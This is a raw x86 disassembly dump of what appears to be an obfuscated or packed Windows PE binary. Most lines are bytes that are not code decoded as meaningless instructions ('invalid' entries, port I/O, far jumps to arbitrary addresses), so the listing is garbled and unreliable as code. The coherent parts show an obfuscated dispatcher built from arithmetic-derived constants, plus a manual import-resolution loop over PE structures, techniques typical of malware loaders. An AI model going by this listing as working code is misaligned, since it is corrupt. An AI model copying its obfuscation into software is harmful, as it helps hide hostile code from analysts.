sahf
cmpsb byte [esi], byte es:[edi]
invalid
invalid
cmp dword [eax], ebp
js 0x6e492979
pop ebx
mov al, 0xd9
invalid
loope 0x6e4929b2
shr byte [edx + 0x10b1ca5], 0xd2
sar byte [ebp - 0xc6a7b96], 0x61
and edx, dword [eax + 0x5e]
pop ebp
inc ebx
xchg dword [ebx], esp
xchg esi, eax
and ebp, dword [ebx]
inc ebp
mov ah, 0x5a
sub al, 0x61
rcl byte [edi], 0xfb
sar dl, 0x5c
int 0x83
retf 0x436a
cmpsd dword [esi], dword es:[edi]
test byte [eax - 0xb], ah
xlatb
int3
je 0x6e4940f0
int1
rcl byte [eax - 0x7b239f3a], 0xaf
push esi
fild qword [ebp + 0x17]
movsd dword es:[edi], dword [esi]
or al, 0xc6
salc
or byte [ecx], dh
sar ebx, cl
mov bh, 0x51
fsub qword [ecx]
invalid
aad 0x96
salc
mov ebx, 0x42e6223f
invalid
invalid
xchg edx, eax
jecxz 0x6e4957cc
salc
lahf
rol ebx, 0x14
inc eax
aam 0xce
mov bl, 0x27
cmp ebx, dword [ecx - 0x27]
dec ecx
xor byte [ecx - 0x3b0ac6c1], ch
push 0xffffffffffffff95
retf
dec ecx
push ds
jne 0x6e496f7e
add dword [edi], ebp
shr byte [edx], cl
jno 0x6e496f93
cmp dword [ecx - 0xb], edi
ret 0x3757
xchg ebx, eax
xchg dword [ecx], esp
push ebx
xor ch, al
cli
or al, al
push eax
add byte [edi + ecx*2 + 0x305187d5], al
inc edx
fsub dword [edx - 0x3449ae18]
insd dword es:[edi], dx
sbb dword [esi], esp
adc al, 0x77
mov edi, 0x8486b68f
stc
mov dh, 0x86
test cl, bh
sahf
mov edx, 0xc67224a9
bound esi, qword [0xf37c35cb]
xor al, byte [0x4514996d]
jg 0x6e496f38
aam 0x3e
shr eax, 0xc8
push 0x58
inc edx
cdq
or esi, dword [eax - 0x59ffe918]
cmp eax, esi
pop edi
push es
leave
stosd dword es:[edi], eax
and ch, bl
jae 0x6e496fea
pop ds
cmp byte [ebx + esi*8], ch
inc ecx
out 0x16, eax
jecxz 0x6e49701c
inc ebp
inc eax
jl 0x6e496fd5
sbb ah, al
jo 0x6e49700b
or dh, byte [edi + 0x39]
and eax, dword [edi]
fiadd dword [ecx - 0x582e4efa]
out dx, al
pushfd
fmul dword [ebx - 0x46fd8c19]
inc edi
cmp dword [eax - 0x4ac707e6], 0xffffff97
mov eax, 0xb538f81a
xchg edi, eax
sbb ebx, esi
adc ebx, edx
mov esp, 0x788b7296
cdq
push 0xf4d453c0
and byte [ecx + 0x1b04792b], bl
int 0x39
out dx, eax
inc eax
outsb dx, byte [esi]
add eax, 0x4374e559
pop ecx
in eax, 0x74
inc ebx
cdq
adc bl, byte gs:[eax]
lodsb al, byte [esi]
jns 0x6e496fbd
sbb byte [ecx + edi*2 + 0x225d0aa7], ch
or bl, byte [ebp + 0x22]
clc
jl 0x6e497012
inc byte [edi]
hlt
adc al, 0xdf
enter 0xfffffffffffff47a, 0x3a
pop es
sbb dword [ecx + 0x3527005d], eax
or esp, dword [ebx + 0x3e]
popfd
cmp esi, esi
in eax, 0xb9
ret
jb 0x6e4986ac
shl esp, 0x17
jle 0x6e4986df
sub eax, 0xe6fc6830
push ds
dec edi
push 0x4f1ee6fc
nop
int3
pop ecx
pop ebp
and cl, byte [edx + 0x1a5fec6d]
lcall 0x1497, 0xd9988baf
jmp 0x6e4986f5
mov ebx, dword [eax - 0x14eb6827]
stc
push 0xffffffffffffffd6
rcl byte [eax], 0x7d
fld st(0)
neg byte [eax + 0x7a]
jne 0x6e4986bc
test al, 0xa3
lea ebp, [eax]
and eax, 0xce7f1549
adc byte [esi], bl
sar byte [esi], 0x9c
push ss
fld qword [edi + 0x76]
push 0xffffffffffffffda
push es
inc ebp
xchg ebp, eax
pop ebp
lds esi, [ecx + 0x3a]
stosd dword es:[edi], eax
je 0x6e49872e
and dh, byte [ecx - 0x1bee5368]
pop ebp
sbb esp, eax
mov es, word [edx + 0x4f]
loopne 0x6e4986d6
jne 0x6e4986bd
sub ah, byte [edi - 0x5f]
sbb eax, 0x2b94c3bf
enter 0x547a, 0xffffffffffffff92
xor dword [ebp + 0x3b6d3942], 0xffffff8b
int3
nop
jmp 0x6e499e64
nop
mov eax, dword [section..bss]
mov edx, dword [ebp - 0x114]
add edx, 2
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x94]
mov dword [esp], edx
call eax
sub esp, 8
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x140], 0x87333
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x148], 0xab02f
mov dword [ebp - 0x144], 0
mov eax, dword [ebp - 0x148]
mov edx, dword [ebp - 0x144]
sub eax, dword [ebp - 0x140]
sbb edx, dword [ebp - 0x13c]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x150]
xor eax, 0xefcb7
or eax, dword [ebp - 0x14c]
je 0x6e4a464e
mov edx, 0xefcb7
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0xc9169
or eax, dword [ebp - 0x14c]
je 0x6e49a206
mov edx, 0xc9169
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0xaf970
or eax, dword [ebp - 0x14c]
je 0x6e4abba6
mov edx, 0xaf970
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0xa500f
or eax, dword [ebp - 0x14c]
je 0x6e4ad31e
mov edx, 0xa500f
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x863a5
or eax, dword [ebp - 0x14c]
je 0x6e49e86e
mov edx, 0x863a5
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x76eab
or eax, dword [ebp - 0x14c]
je 0x6e4a8cb6
mov edx, 0x76eab
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x630af
or eax, dword [ebp - 0x14c]
je 0x6e49ffe6
mov edx, 0x630af
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x5ca5c
or eax, dword [ebp - 0x14c]
je 0x6e4a2ed6
mov edx, 0x5ca5c
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x4b5f7
or eax, dword [ebp - 0x14c]
je 0x6e4a175e
mov edx, 0x4b5f7
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x49ffe
or eax, dword [ebp - 0x14c]
je 0x6e49b97e
mov edx, 0x49ffe
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x4661b
or eax, dword [ebp - 0x14c]
je 0x6e4a753e
mov edx, 0x4661b
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x45a03
or eax, dword [ebp - 0x14c]
je 0x6e4aa42e
mov edx, 0x45a03
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x29c9a
or eax, dword [ebp - 0x14c]
je 0x6e4a5dc6
mov edx, 0x29c9a
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x23cfc
or eax, dword [ebp - 0x14c]
je 0x6e4b1986
mov edx, 0x23cfc
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x1aa4c
or eax, dword [ebp - 0x14c]
je 0x6e4aea96
mov edx, 0x1aa4c
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x6e4b1983
mov eax, dword [ebp - 0x150]
xor eax, 0x7ef
or eax, dword [ebp - 0x14c]
je 0x6e49d0f6
mov eax, dword [ebp - 0x150]
xor eax, 0x19c81
or eax, dword [ebp - 0x14c]
je 0x6e4b020e
jmp 0x6e4b1983
stosb byte es:[edi], al
mov cl, 0x12
add byte [ebx + 0x32], ch
movsd dword es:[edi], dword [esi]
push edx
or eax, 0x82c3ea5b
pop ebx
dec ebx
leave
push esi
sbb byte [ecx], dh
push cs
push eax
jbe 0x6e49a20e
mov ebx, 0x49fc2732
adc esi, dword [eax + 1]
mov eax, dword [0xc0ee3398]
push edx
jno 0x6e49a266
mov bh, byte [esp + ecx*8 + 0x123f75c3]
mov dword [ebp + 0x1d70393f], ebx
cwde
jno 0x6e49a1de
into
push edi
dec ecx
cmp ah, byte [ebx]
mov dword [edi + 0x3b79dc16], ebx
push esi
or al, 0xf8
jb 0x6e49a252
dec edx
or ah, ch
ret 0x9fd0
rcr byte [edi + 0x7b6be078], 1
push ss
sbb ebp, ebp
cld
pop ecx
mov byte [0x563e5ca1], al
xor bh, dl
cmp dl, bh
xlatb
int1
out dx, al
ret
pop ecx
xchg edx, eax
mov cl, 0xd8
pop esp
mov cl, 0x69
cmp eax, 0x2e7683d4
pop edi
movsb byte es:[edi], byte [esi]
fdivr dword [edi + 0xf]
add cl, ah
test eax, 0x3578328f
in al, 0x38
mov al, 0x9a
cmpsd dword [esi], dword es:[edi]
xchg ecx, eax
invalid
sub ah, byte [ebp + 0xee36877]
adc eax, 0x3db6183f
mov bh, bl
mov edx, 0x40af39b6
pop ebx
add esp, dword cs:[eax + 0x26]
mov al, 0xf1
push ecx
inc edi
jne 0x6e49d18f
add dword [0x868c5fba], edi
cdq
cmp dword [edx], ecx
out 0xe4, al
pop esi
jl 0x6e49d1a0
inc ebp
push ss
cmp eax, 0xe4cda377
imul ecx, dword [esi - 0x467e169d], 0xfffffff5
sbb eax, dword [edi - 0x38ab1f16]
in eax, 0xcc
retf 0x447e
or dl, al
or al, 0xd
invalid
ret
mov word es:[ecx + 0x802aa49], ds
shl bl, cl
rol byte [ebx - 3], cl
push 0xdcafceed
adc byte [edx + 0x65ef8650], 0x23
ror dword [ebp - 0x357511c0], 0xc9
fstp st(2)
mov al, byte gs:[0x2ce7c922]
pop ss
sbb al, 0x23
dec edi
mov ebx, 0x8fc25bc
mov dword [eax - 2], eax
xchg edi, eax
adc edx, 0x16679602
push ds
iretd
fidivr word [ebp - 0x18]
test dl, bl
in eax, 0xf9
mov ebp, 0x1a2ce57a
lds esp, [edi + 0x5e9e0fd7]
adc eax, 0x6ff26688
cmpsd dword [esi], dword es:[edi]
and al, 0xe9
xchg bx, ax
stosd dword es:[edi], eax
add eax, dword [ebp + 0x35]
add al, 0x86
invalid
sbb dword [esi], ebp
add dl, byte [edi]
rol edi, 1
invalid
call 0xbfd84dcf
fisubr dword [eax]
pop esp
mov ebp, 0x13b59289
push es
imul ebp, dword [edx + eax*4 - 0x46550180], 0x745441fc
pop edi
cld
and al, 0x8d
push esp
rol dh, 0x69
out 0x65, al
in al, 0x81
int1
sbb dword [edx - 0x276961b6], 0x41
lcall 0x457b, 0x5bd0a071
hlt
bound ecx, qword [ebx - 0xd547c0e]
sar byte [edi - 0x31815d48], 1
xchg esi, eax
dec esp
pop ebp
jnp 0x6e4a2e71
mov ebx, 0x9c26a0db
xor eax, dword [edx + ebx*8]
sbb eax, 0x2fc4f8d4
dec esp
jmp 0x6e4a2f4d
cdq
int 0x54
les ebx, [eax - 0x12]
add al, 0x80
invalid
int 0xa
pop es
push ebx
out 0xf2, eax
mov bh, 0xca
pop ds
cmp al, 0xd6
test byte [ebx - 0x5c], ah
xchg byte [edx], bl
fdiv qword [0x92f700be]
mov eax, 0xe03740c5
pop ebx
int1
loope 0x6e4a45f1
lea edi, [eax + 0x425943b3]
mov edi, 0xe09a278e
hlt
xchg dh, ch
in al, dx
dec edx
test al, 0xa
dec esi
lahf
out 0xe1, al
stosb byte es:[edi], al
push edi
loopne 0x6e4a45fa
retf 0xec2d
mov eax, 0x78c634eb
push eax
js 0x6e4a5daf
pop es
scasb al, byte es:[edi]
xchg edx, eax
sub ah, cl
insb byte es:[edi], dx
adc al, 0xb1
xlatb
sub byte [eax - 0x35], 0x74
retf
xchg dword [ecx + 0x4ad3b258], ebp
or dword [ecx], ecx
xchg bh, bl
jno 0x6e4a5d59
adc dh, byte [edx - 0x336fd07b]
jmp 0x6e4b1987
push ecx
xchg edi, eax
jg 0x6e4a5d5d
or al, 0xa0
and ah, al
test al, 0x2f
xchg dword [ebx + 0x1c2d3f54], ebp
dec edx
aaa
mov ah, 0xda
add dl, byte [ebx]
je 0x6e4a5e5d
add al, 0xbd
dec eax
ffree st(2)
dec esi
or dword [esi], edi
out 0x91, eax
xlatb
into
iretd
int 0xae
invalid
aas
movsb byte es:[edi], byte [esi]
leave
jb 0x6e4a7560
invalid
adc ch, cl
adc edx, dword [edx]
sub esi, eax
or cl, byte [ebx]
push ds
out 0x99, al
sti
dec esp
lea edi, [ecx - 0x42]
arpl word [ebx + 0x12060009], bp
jle 0x6e4a75cb
push ebp
and eax, esi
fild word [edi + 0x50]
xchg al, dl
xor dword [ebp + ebp*4 - 0x1a], esp
fcomp dword gs:[edi]
or byte [edx - 0x34], al
mov byte [0x1ab8aef4], al
pop ebx
aaa
push 0xffffffffffffffcf
invalid
pop edx
pop ds
sbb dword [ebx - 0x32189f07], 0x3b
out 0x86, eax
or al, 0x3c
xchg edi, eax
sbb al, 0
movsb byte es:[edi], byte [esi]
pop es
xchg ecx, eax
pop es
mov al, 0xa2
repne insd dword es:[edi], dx
pop ss
invalid
mov eax, dword [0xa6d0e458]
lcall 0x851b, 0x89735d2f
inc edi
cld
xchg al, bh
add eax, dword [esi - 0x16]
add byte [ecx + ebp + 0x3d3bc17d], bl
out 0xe7, eax
dec ebx
test eax, 0xd9829ee2
add eax, 0x7d7b3a22
mov eax, dword [0xe26c2ee5]
lodsd eax, dword [esi]
fldcw word [esi - 0x36]
sbb bh, byte [edi - 0x12]
dec eax
push ebp
std
mov byte [ebp + esi*8 + 0x71], ch
push ebp
daa
dec edi
xchg edi, eax
mov esi, es
in eax, dx
adc byte [ecx], ah
cmp dword [ecx + 0x6b08c09d], esp
and dword [ebx + ebx + 0x4d], ebp
arpl word [ebx - 0x65], di
mov ch, 4
bound ebx, qword [ebx - 0x4b35b234]
invalid
invalid
cmp byte [eax - 0x22b62d56], dl
int 0x4f
stc
out 0xb7, al
das
invalid
pop eax
sub esi, dword [esi]
push edx
int1
push ebp
or al, 0x68
add byte [ebp + 0x6c], bh
dec ebx
in eax, dx
jnp 0x6e4aa449
and al, 0xd4
pushal
inc esp
jo 0x6e4aa368
jge 0x6e4aa37d
out dx, al
and byte [ebx - 0x4d55672c], ch
shl byte [0xd48d449e], cl
cwde
stosb byte es:[edi], al
mov dl, 0xd2
and eax, 0xd48d449e
hlt
sbb byte [ecx], ch
inc ebp
scasb al, byte es:[edi]
clc
add ecx, dword [eax + 0xa537f2c]
cmpsd dword [esi], dword es:[edi]
add eax, 0x90643b9d
mov dl, 0xf
xchg ebx, eax
inc edi
or al, 0x58
je 0x6e4aa425
inc ecx
and byte [edi], cl
cmpsd dword [esi], dword es:[edi]
call 0x6c6c1360
dec edx
dec eax
xor dword [esi - 0x721d4f72], ecx
lcall 0x28d2, 0x957af39c
jno 0x6e4aa3c7
mov eax, dword [0xe9cc9095]
pop ecx
jne 0x6e4aa42d
xchg ebp, eax
nop
int3
add byte [eax + 0x5b], ah
pushal
pop ebx
pop ds
mov esp, 0x993d6f27
lodsb al, byte [esi]
test edx, 0x74cd51c6
push eax
loope 0x6e4aa3c3
jg 0x6e4aa3de
push edi
jbe 0x6e4aa3f3
xchg ecx, eax
jle 0x6e4aa425
ret
invalid
sti
aas
and al, 0xaf
test al, 0x76
push ss
jae 0x6e4abbbb
fild qword [edi + 0x16]
cmp al, 0x66
lds ecx, [ebp + 0xe]
jno 0x6e4abb38
lds esp, [ebp - 0x373ca960]
xor dword [edx - 0x78d571a3], ebp
test byte [esi - 0x46], bl
cdq
call 0x45da38d5
aaa
push cs
retf
arpl word [ebx], cx
and dword [ecx + 0x4d], eax
and dh, byte [eax - 0x40]
test eax, 0xb27ec2dc
push ebp
aad 0x34
sbb eax, 0xb8214828
xor dword [esi + 0x158cddf1], edi
in eax, 0xc0
pop eax
lds esp, [edx]
jl 0x6e4abb64
add byte [ebp - 0x54ed9c59], al
fisubr dword [edi]
pushfd
cmp eax, 0xc53a02db
push edi
jnp 0x6e4abb63
inc esi
sub eax, 0x38fae33a
sbb dword [eax + edx*4], 0x5de1e9cc
add byte [eax], al
push edx
cdq
jno 0x6e4abb40
clc
and edx, dword [ecx - 0x28]
cmp eax, 0xc1bf3c05
retf
jne 0x6e4abc2d
mov byte [0xe62e2c02], al
jnp 0x6e4abb84
lcall 0x2c73, 0xfca74180
aad 0xf
outsb dx, byte [esi]
scasd eax, dword es:[di]
test ebp, 0x6343da0
xchg esi, eax
scasb al, byte es:[edi]
int 0xd
invalid
pushal
scasd eax, dword es:[edi]
ljmp 0xec1f
pop es
mov ebx, dword [ecx + 0x6da490a9]
lcall 0x7c48, 0x525c0ad6
xchg dword [edi + 0x36], edx
inc ebx
ret
sbb al, 0xa6
sbb dh, byte [eax]
inc ecx
sahf
or byte [ebx - 0x76], bl
push ds
out 0x89, eax
push ebx
in eax, dx
mov dl, 0x52
cmp dword [edx - 0x2b287dd2], edx
or dword [ecx + 0x43fecb7], esp
rcl ah, 0x98
sbb dword [ecx - 0x29], edx
push eax
ror edx, 1
in al, dx
pop ebp
mov word [edi - 0x13f31eaa], es
xchg edx, eax
xor eax, 0xa908821
dec esi
jno 0x6e4aeb1a
test eax, 0xf4d91309
inc ebx
cmp byte [ebx + esi*4 - 0xe133444], 0xd2
fsubr st(6), st(0)
adc eax, 0x259c9c5d
or ebx, dword [eax - 0x41]
cmpsb byte [esi], byte es:[edi]
mov dword [0x3e0ad271], eax
dec edi
not cl
xchg esp, eax
pop ds
scasb al, byte es:[edi]
add eax, 0x8d23d3fb
add dword [edi - 0x5c0c361c], ebx
jbe 0x6e4aeb5d
lea eax, [ecx]
lahf
in al, 0xc9
mov dword [0xaedf6076], eax
invalid
fild qword [esi + 0x6765b2c7]
lcall 0x6b77, 0x4f0c27a9
and byte [edi + 0x55], ch
add ecx, dword [esi]
invalid
ret 0xe96
jg 0x6e4aeb6e
nop
cmpsb byte [esi], byte es:[edi]
xchg ebp, eax
rcr edx, 1
out dx, eax
pushfd
popfd
mov byte [0xba554cf0], al
add eax, 0xd84c1522
xor al, 0x88
les ebx, [edi - 0x55]
je 0x6e4aeb17
cmp eax, 0x39109c95
inc ebx
outsb dx, byte [esi]
stosb byte es:[edi], al
xchg ch, cl
xchg ebp, eax
fld dword [ecx + 0x28]
les eax, [esi]
je 0x6e4aeb3d
lodsd eax, dword [esi]
jmp 0x243f8854
cmp eax, 0x6d66472c
jno 0x6e4aeaf4
int3
mov bl, 0xd
sub eax, edx
pop es
jbe 0x6e4aebb9
xor eax, 0x91d9f67c
rcl dword [eax + 0x72e9066b]
xchg edx, eax
mov al, 0x5f
and cl, 0xc0
mov ah, 0xd7
sbb edx, dword [esp + esi*4 + 0x765ccd05]
mov bl, pe_nt_image_headers32
insd dword es:[edi], dx
jge 0x6e4aeb72
jl 0x6e4aeb6a
fst dword [ecx + 0x66b90d1]
jmp 0xcdfb7df1
or ebx, dword [ebx - 0x1b]
sti
imul edx, dword [ecx], 0x32
stosd dword es:[edi], eax
pushal
jp 0x6e4aebbd
inc esi
add al, 0x9c
ret
ror dword [ecx + edi*2 + 0x4b], cl
mov edi, 0x5945019e
pushfd
shl eax, 1
std
stc
enter 0xb2d, 0x6d
or ebx, dword [edi - 0x4f]
adc byte [edi], dh
aas
dec ebx
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
pop ecx
xlatb
sal dword [ebp + edi*2 - 0x78e31c90], 0x69
invalid
sub dword [0xfe9c7f5b], ecx
ret
nop
jmp 0x6e4b1987
nop
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x134]
mov dword [eax], edx
mov dword [ebp - 0x190], 0x9d5b4
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x198], 0x78a3e
mov dword [ebp - 0x194], 0
mov ecx, dword [ebp - 0x190]
mov ebx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x198]
mov edx, dword [ebp - 0x194]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x1a0]
xor eax, 0x115ff2
or eax, dword [ebp - 0x19c]
nop
add dword [ebp - 0x10], 4
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
test eax, eax
jne 0x6e442818
mov dword [ebp - 0x1a8], 0xe45da
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1b0], 0xb405
mov dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x1a4]
imul eax, dword [ebp - 0x1b0]
mov edx, eax
mov eax, dword [ebp - 0x1ac]
imul eax, dword [ebp - 0x1a8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1a8]
mul dword [ebp - 0x1b0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov eax, dword [ebp - 0x1b8]
xor eax, 0x964a542
mov edx, dword [ebp - 0x1b4]
xor edx, 0xa
or eax, edx
nop
add dword [ebp - 0xc], 0x14
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
test eax, eax
jne 0x6e3f57ae
nop
nop
mov ebx, dword [ebp - 4]
leave
ret